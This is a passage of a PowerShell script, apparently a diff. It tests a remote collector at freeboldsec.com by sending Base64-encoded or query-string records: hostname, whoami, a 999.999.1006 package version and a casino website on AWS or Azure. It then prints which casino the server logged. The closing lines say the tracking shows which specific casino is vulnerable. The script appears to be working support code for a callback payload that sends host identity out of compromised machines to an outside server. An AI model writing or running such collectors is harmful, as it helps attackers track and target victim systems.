$r1 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php?d=$encoded1" -UseBasicParsing
|
|
17
|
+
$result1 = $r1.Content | ConvertFrom-Json
|
|
18
|
+
Write-Host "✅ SUCCESS!" -ForegroundColor Green
|
|
19
|
+
Write-Host "Casino: $($result1.casino_site)" -ForegroundColor Cyan
|
|
20
|
+
Write-Host "Domain: $($result1.full_domain)" -ForegroundColor Gray
|
|
21
|
+
Write-Host "Cloud: $($result1.cloud)" -ForegroundColor Gray
|
|
22
|
+
} catch {
|
|
23
|
+
Write-Host "❌ Error: $_" -ForegroundColor Red
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
# Test 2: LuckySpin from AWS
|
|
27
|
+
Write-Host "`nTest 2: LuckySpin on AWS" -ForegroundColor Yellow
|
|
28
|
+
$data2 = @{
|
|
29
|
+
hostname = "ip-172-31-45-67"
|
|
30
|
+
whoami = "ec2-user"
|
|
31
|
+
version = "999.999.1006"
|
|
32
|
+
website = "luckyspin.us-east-1.amazonaws.com"
|
|
33
|
+
} | ConvertTo-Json
|
|
34
|
+
$encoded2 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data2))
|
|
35
|
+
|
|
36
|
+
try {
|
|
37
|
+
$r2 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php?d=$encoded2" -UseBasicParsing
|
|
38
|
+
$result2 = $r2.Content | ConvertFrom-Json
|
|
39
|
+
Write-Host "✅ SUCCESS!" -ForegroundColor Green
|
|
40
|
+
Write-Host "Casino: $($result2.casino_site)" -ForegroundColor Cyan
|
|
41
|
+
Write-Host "Domain: $($result2.full_domain)" -ForegroundColor Gray
|
|
42
|
+
Write-Host "Cloud: $($result2.cloud)" -ForegroundColor Gray
|
|
43
|
+
} catch {
|
|
44
|
+
Write-Host "❌ Error: $_" -ForegroundColor Red
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
# Test 3: RoyalAce from Azure
|
|
48
|
+
Write-Host "`nTest 3: RoyalAce on Azure" -ForegroundColor Yellow
|
|
49
|
+
$url3 = "http://freeboldsec.com/new-page-1/api/rum/data.php?hostname=azure-vm&whoami=azureuser&version=999.999.1006&website=royalace.azurewebsites.net"
|
|
50
|
+
|
|
51
|
+
try {
|
|
52
|
+
$r3 = Invoke-WebRequest -Uri $url3 -UseBasicParsing
|
|
53
|
+
$result3 = $r3.Content | ConvertFrom-Json
|
|
54
|
+
Write-Host "✅ SUCCESS!" -ForegroundColor Green
|
|
55
|
+
Write-Host "Casino: $($result3.casino_site)" -ForegroundColor Cyan
|
|
56
|
+
Write-Host "Domain: $($result3.full_domain)" -ForegroundColor Gray
|
|
57
|
+
Write-Host "Cloud: $($result3.cloud)" -ForegroundColor Gray
|
|
58
|
+
} catch {
|
|
59
|
+
Write-Host "❌ Error: $_" -ForegroundColor Red
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
Write-Host "`n✅ Casino tracking will help you identify:" -ForegroundColor Green
|
|
63
|
+
Write-Host "- Which specific casino is vulnerable" -ForegroundColor White
|
|
64
|
+
Write-Host "- Whether it's hosted on cloud or direct" -ForegroundColor White
|
|
65
|
+
Write-Host "- Separate logs for each casino" -ForegroundColor White
|